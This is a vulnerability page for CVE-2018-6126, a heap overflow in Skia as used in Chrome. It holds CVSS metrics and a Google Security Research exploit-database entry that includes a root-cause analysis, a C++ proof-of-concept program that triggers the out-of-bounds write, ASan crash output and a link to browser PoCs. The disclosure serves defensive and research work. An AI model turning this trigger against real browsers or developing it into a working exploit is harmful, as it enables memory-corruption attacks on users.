CVE-2018-6126

Score / Severity

8.8

HIGH

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Descriptions

A precision error in Skia in Google Chrome prior to 67.0.3396.62 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page.

Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-787	Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metric	Score	Severity	CVSS Vector	Source
V3.0	8.8	HIGH	CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	nvd@nist.gov
V2	6.8		AV:N/AC:M/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

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EPSS Score

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EPSS Percentile

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EPSS First.org

Exploit information

Exploit Database EDB-ID : 45098

Publication date : 2018-07-26 22:00 +00:00
Author : Google Security Research
EDB Verified : Yes

There is a heap overflow in Skia when drawing paths with antialiasing turned off. This issue can be triggered in both Google Chrom and Mozilla Firefox by rendering a specially crafted SVG image. PoCs for both browsers are attached. Details: When Skia fills a path with antialiasing turned off, SkScan::FillPath gets called https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?rcl=3708f024b1118a73f0e6b3080234311c6647663b&l=609 SkScan::FillPath first checks that the path fits in the current drawing area (Clip). This happens in https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?rcl=3708f024b1118a73f0e6b3080234311c6647663b&l=645 If the clipping test passes at this point, then no other clipping checks will be performed when drawing this path. However, due to precision errors, it is possible that the drawing algorith is going to end up drawing outside of the current drawing area, which results in a heap overflow. In this case, the precision errors happens when drawing cubic splines. In SkCubicEdge::setCubicWithoutUpdate, various factors needed to draw the spline are calculated. For example, on this line https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?rcl=5eb8fc585e9b3c9ccc82b0921986e1020ddaff23&l=430 when calculating fCDx, some precision will be lost because C and D end up being shifted to the right. Because of that, it is possible that the fCDx value is going to end up smaller than it should be. The (too small) value of fCDx then gets added to the X coordinate here https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?rcl=5eb8fc585e9b3c9ccc82b0921986e1020ddaff23&l=471 it then gets propagated here https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?rcl=5eb8fc585e9b3c9ccc82b0921986e1020ddaff23&l=492 and here https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?g=0&rcl=5eb8fc585e9b3c9ccc82b0921986e1020ddaff23&l=116 where fX ends up being -2**15 (this corresponds to -0.5 in SkFixed type) and fDX ends up negative. When a spline (now approximated as a line segment) gets drawn in walk_convex_edges or walk_edges, fDX gets added to fX https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?rcl=3708f024b1118a73f0e6b3080234311c6647663b&l=267 then the resulting value gets rounded https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?rcl=3708f024b1118a73f0e6b3080234311c6647663b&l=249 and becomes -1, which leads to an out-of-bounds write. Example Skia program that demonstrates the issue: Note: it should be built with ASan enabled. ================================================= #include "SkCanvas.h" #include "SkPath.h" #include "SkBitmap.h" #include "SkGradientShader.h" int main (int argc, char * const argv[]) { int width = 100; int height = 100; SkBitmap bitmap; bitmap.allocN32Pixels(width, height); SkCanvas bitmapcanvas(bitmap); SkCanvas *canvas = &bitmapcanvas; SkPaint p; p.setAntiAlias(false); p.setStyle(SkPaint::kFill_Style); SkColor colors[2] = {SkColorSetARGB(10,0,0,0), SkColorSetARGB(10,255,255,255)}; SkPoint points[2] = { SkPoint::Make(0.0f, 0.0f), SkPoint::Make(256.0f, 256.0f) }; p.setShader(SkGradientShader::MakeLinear( points, colors, nullptr, 2, SkShader::kClamp_TileMode, 0, nullptr)); SkPath path; path.moveTo(-30/64.0, -31/64.0); path.cubicTo(-31/64.0, -31/64,-31/64.0, -31/64,-31/64.0, 100); path.lineTo(100,100); path.lineTo(100,-31/64.0); canvas->drawPath(path, p); return 0; } ================================================= Running this results in the following UBSan error: ../../include/core/SkPixmap.h:386:83: runtime error: left shift of negative value -1 SUMMARY: AddressSanitizer: undefined-behavior ../../include/core/SkPixmap.h:386:83 in If the program is compiled without undefined-behavior checks, then running it generates the following ASan report ================================================================= ==18863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6140000021d0 at pc 0x0000018df91a bp 0x7ffcdc7708d0 sp 0x7ffcdc7708c8 WRITE of size 4 at 0x6140000021d0 thread T0 #0 0x18df919 in (anonymous namespace)::DstTraits::store((anonymous namespace)::SkNx<4, float> const&, unsigned int*, (anonymous namespace)::SkNx<4, float> const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fGradientPriv.h:73:18 #1 0x18df919 in void (anonymous namespace)::ramp((anonymous namespace)::SkNx<4, float> const&, (anonymous namespace)::SkNx<4, float> const&, unsigned int*, int, (anonymous namespace)::SkNx<4, float> const&, (anonymous namespace)::SkNx<4, float> const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fLinearGradient.cpp:45 #2 0x18d3eb1 in void SkLinearGradient::LinearGradient4fContext::shadeSpanInternal(int, int, unsigned int*, int, float, float) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fLinearGradient.cpp:256:13 #3 0x18d3eb1 in void SkLinearGradient::LinearGradient4fContext::shadePremulSpan(int, int, unsigned int*, int, float, float) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fLinearGradient.cpp:209 #4 0x18d3eb1 in SkLinearGradient::LinearGradient4fContext::shadeSpan(int, int, unsigned int*, int) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fLinearGradient.cpp:181 #5 0x167213d in SkARGB32_Shader_Blitter::blitH(int, int, int) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkBlitter_ARGB32.cpp:377:25 #6 0xd1cf47 in walk_convex_edges(SkEdge*, SkPath::FillType, SkBlitter*, int, int, void (*)(SkBlitter*, int, bool)) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:261:30 #7 0xd1b364 in sk_fill_path(SkPath const&, SkIRect const&, SkBlitter*, int, int, int, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:471:9 #8 0xd1e625 in SkScan::FillPath(SkPath const&, SkRegion const&, SkBlitter*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:656:9 #9 0xd0c39a in SkScan::FillPath(SkPath const&, SkRasterClip const&, SkBlitter*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkScan_AntiPath.cpp:827:9 #10 0xb9ae3d in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool, SkInitOnceData*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.cpp:1024:9 #11 0xb9c046 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*, SkInitOnceData*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.cpp:1141:11 #12 0x164e60a in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.h:58:15 #13 0x164e60a in SkBitmapDevice::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkBitmapDevice.cpp:411 #14 0xb44c54 in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:2145:23 #15 0xb3bf59 in SkCanvas::drawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:1708:11 #16 0x86021e in main /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../example/SkiaSDLExample.cpp:37:11 #17 0x7fd0eb3672b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) #18 0x770659 in _start (/usr/local/google/home/ifratric/p0/skia/skia/out/asan/SkiaSDLExample+0x770659) 0x6140000021d0 is located 0 bytes to the right of 400-byte region [0x614000002040,0x6140000021d0) allocated by thread T0 here: #0 0x825b20 in __interceptor_malloc (/usr/local/google/home/ifratric/p0/skia/skia/out/asan/SkiaSDLExample+0x825b20) #1 0xdf1d74 in sk_malloc_flags(unsigned long, unsigned int) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/ports/SkMemory_malloc.cpp:69:13 #2 0x1671202 in sk_malloc_throw(unsigned long) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../include/private/SkMalloc.h:59:12 #3 0x1671202 in SkARGB32_Shader_Blitter::SkARGB32_Shader_Blitter(SkPixmap const&, SkPaint const&, SkShaderBase::Context*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkBlitter_ARGB32.cpp:336 #4 0x16643f9 in SkARGB32_Shader_Blitter* SkArenaAlloc::make(SkPixmap const&, SkPaint const&, SkShaderBase::Context*&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkArenaAlloc.h:103:30 #5 0x1663681 in SkBlitter::Choose(SkPixmap const&, SkMatrix const&, SkPaint const&, SkArenaAlloc*, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkBlitter.cpp:1119:34 #6 0xb9b4fe in SkAutoBlitterChoose::choose(SkDraw const&, SkMatrix const*, SkPaint const&, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkAutoBlitterChoose.h:36:20 #7 0xb9aa59 in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool, SkInitOnceData*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.cpp:966:34 #8 0xb9c046 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*, SkInitOnceData*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.cpp:1141:11 #9 0x164e60a in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.h:58:15 #10 0x164e60a in SkBitmapDevice::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkBitmapDevice.cpp:411 #11 0xb44c54 in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:2145:23 #12 0xb3bf59 in SkCanvas::drawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:1708:11 #13 0x86021e in main /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../example/SkiaSDLExample.cpp:37:11 #14 0x7fd0eb3672b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/shaders/gradients/Sk4fGradientPriv.h:73:18 in (anonymous namespace)::DstTraits::store((anonymous namespace)::SkNx<4, float> const&, unsigned int*, (anonymous namespace)::SkNx<4, float> const&) Shadow bytes around the buggy address: 0x0c287fff83e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c287fff83f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c287fff8400: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c287fff8410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c287fff8420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c287fff8430: 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa 0x0c287fff8440: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c287fff8450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c287fff8460: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c287fff8470: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c287fff8480: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==18863==ABORTING Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45098.zip